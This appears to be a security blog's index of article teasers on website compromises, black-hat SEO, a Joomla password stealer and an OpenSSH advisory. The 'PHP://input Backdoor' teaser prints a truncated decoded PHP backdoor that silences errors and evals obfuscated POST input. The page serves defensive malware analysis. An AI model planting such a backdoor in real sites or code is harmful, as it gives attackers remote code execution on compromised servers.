The Story of Clip:rect – A Black Hat SEO Trick
Denis Sinegubko We regularly write about Black Hat SEO hacks here. Such hacks help hackers monetize their access to compromised sites by incorporating them into massive schemes…
Joomla password stealer
Fioravante Souza As we know, one of the main payloads of a successful attack is to maintain access to the compromised server for as long as possible.…
Understanding Google’s Blacklist – Cleaning Your Hacked Website and Removing From Blacklist
Today we found an interesting case where Google was blacklisting a client’s site but not sharing the reason why. The fact they were sharing very…
vBulletin.com Compromised
Daniel Cid The vBulletin team recently announced that they suffered a compromise which allowed the attackers access to vbulletin.com servers and database. On their own words: We…
Case Study: Analyzing a WordPress Attack – Dissecting the webr00t cgi shell – Part I
Tony Perez November 1st started like any other day on the web. Billions of requests were being shot virtually between servers in safe and not so safe…
Server Update Time: OpenSSH Vulnerability Disclosed
David Dede The OpenSSH team just released a security advisory about a vulnerability affecting both OpenSSH 6.2 and 6.3. If you are not familiar with OpenSSH, it’s…
PHP://input Backdoor
Just came across this backdoor (decoded): @error_reporting(0); @ini_set(“display_errors”,0); @ini_set(“log_errors”,0); @ini_set(“error_log”,0); if (isset($_GET[‘r’])) { print $_GET[‘r’]; } elseif (isset($_POST[‘e’])) { eval ( base64_decode(str_rot13 (strrev(base64_decode (str_rot13($_POST[‘e’])))))); } elseif (isset($_SERVER[‘HTTP_CONTENT_ENCODING’]) && $_SERVER[‘HTTP_CONTENT_ENCODING’]…
Blackhat SEO and ASP Sites
It’s all too easy to scream and holler at PHP based websites and the various malware variants associate with the technology, but perhaps we’re a…
Google Bots Doing SQL Injection Attacks
One of the things we have to be very sensitive about when writing rules for our CloudProxy Website Firewall is to never block any major…
Joomla – Fancy SPAM Injections
Malware writers can be really ingenious when it comes to obfuscating their code. And let’s face it, in today’s anti-malware push, they have to; the…
Understanding Search Engine Warnings – Part I – Google – This Site May Be Hacked
If you have any questions about malware, blacklisting, or security in general, send them to us: contact@sucuri.net and we will answer here. For all the…